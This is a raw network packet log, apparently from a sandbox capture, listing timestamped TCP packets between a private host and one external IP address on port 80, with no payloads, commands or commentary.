Dec 20, 2024 13:12:11.525229931 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.526730061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.526784897 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.527717113 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.527786016 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.528489113 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.528539896 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.528575897 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.528642893 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.530383110 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.530440092 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.530885935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.530944109 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.531982899 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.532067060 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.532190084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.532277107 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.533777952 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.533905983 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.534209013 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.534441948 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.535500050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.535600901 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.535793066 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.535868883 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.537230968 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.537290096 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.537720919 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.538059950 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.539031029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.539123058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.539195061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.539294958 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.540946007 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.541001081 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.541285038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.541349888 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.542480946 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.542531013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.542665958 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.542731047 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.544336081 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.544424057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.544620037 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.544697046 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.545991898 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.546156883 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.546190023 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.546271086 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.547916889 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.547983885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.548109055 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.548168898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.549530029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.549607992 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.549612045 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.549659014 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.551291943 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.551357985 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.552134037 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.552253962 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.553002119 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.553134918 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.553138971 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.553232908 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.554780006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.554831982 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.555969000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.556065083 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.556535006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.556610107 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.557004929 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.557059050 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.558435917 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.558521032 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.558540106 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.558623075 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.560060024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.560108900 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.560292006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.560400009 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.561806917 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.561882973 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.561918020 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.561973095 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.663419962 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.663568020 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.663598061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.663652897 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.663862944 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.663913965 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.664124012 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.664177895 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.665484905 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.665539026 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.665636063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.665726900 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.666615009 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.666685104 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.667426109 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.667483091 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.668365955 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.668428898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.668490887 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.668571949 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.669639111 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.669713974 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.669796944 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.669852972 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.670928955 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.670985937 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.671241999 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.671338081 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.672358990 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.672441959 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.672600031 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.672648907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.673759937 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.673968077 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.674304008 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.674361944 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.675162077 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.675252914 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.675537109 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.675694942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.676558018 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.676647902 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.676716089 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.676780939 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.678014994 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.678132057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.678143024 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.678200960 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.679286957 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.679358959 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.679608107 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.679696083 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.680651903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.680746078 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.680794001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.680854082 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.681974888 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.682063103 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.682290077 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.682341099 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.683233023 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.683321953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.683449984 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.683518887 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.684757948 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.684811115 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.684820890 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.684866905 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.685826063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.685878992 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.685964108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.686018944 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.687283993 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.687345982 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.687490940 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.687551975 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.688519001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.688585997 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.688668013 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.688726902 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.689769983 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.690294027 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.690346003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.690346003 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.691072941 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.691241026 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.691267967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.691353083 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.692315102 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.692420006 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.692500114 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.692558050 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.693603039 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.693696022 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.693744898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.693744898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.694905043 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.694972992 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.695421934 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.695493937 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.696265936 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.696336985 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.696978092 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.697104931 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.697444916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.697567940 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.697896957 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.697962999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.698698997 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.698753119 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.698875904 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.698937893 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.700068951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.700122118 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.700289011 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.700351000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.701498032 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.701554060 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.701602936 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.701657057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.702713966 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.702861071 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.702862978 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.703006983 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.703936100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.704067945 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.704150915 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.704205990 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.705251932 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.705358982 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.705554008 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.705657959 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.706612110 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.706703901 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.707066059 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.707166910 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.707828999 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.707942963 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.708081007 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.708209038 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.709121943 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.709256887 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.709336042 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.709415913 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.710549116 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.710655928 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.710738897 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.710794926 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.711688995 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.711749077 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.711889029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.711996078 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.712897062 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.712958097 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.713257074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.713414907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.714298964 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.714477062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.715337038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.715393066 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.715619087 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.715653896 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.715701103 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.715701103 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.717020988 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.717091084 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.717345953 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.717487097 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.718214989 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.718250036 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.718290091 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.718290091 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.719507933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.719609022 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.719693899 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.719750881 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.720988035 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.721038103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.721071005 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.721138000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.722338915 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.722537041 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.722553968 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.722608089 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.723740101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.723823071 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.723893881 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.723957062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.725209951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.725243092 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.725291967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.725291967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.726290941 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.726380110 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.726432085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.726501942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.727426052 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.727520943 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.728488922 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.728636026 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.728934050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.729017973 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.729201078 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.729259014 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.729826927 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.729882956 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.729962111 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.730035067 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.731376886 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.731477022 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.731482029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.731535912 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.733069897 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.733141899 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.856287003 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.856360912 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.856555939 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.856605053 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.857057095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.857115984 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.857268095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.857320070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.858040094 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.858139038 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.858239889 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.858453035 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.859321117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.859411955 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.859694004 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.859795094 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.860450983 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.860501051 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.860503912 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.860544920 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.861752987 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.861805916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.862143040 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.863292933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.863343954 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.863405943 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.863493919 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.864137888 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.864198923 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.864278078 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.864342928 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.864923000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.865019083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.865020037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.865093946 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.865636110 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.865693092 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.865839005 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.865895033 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.866651058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.866720915 CET	49831	80	192.168.2.5	31.41.244.11
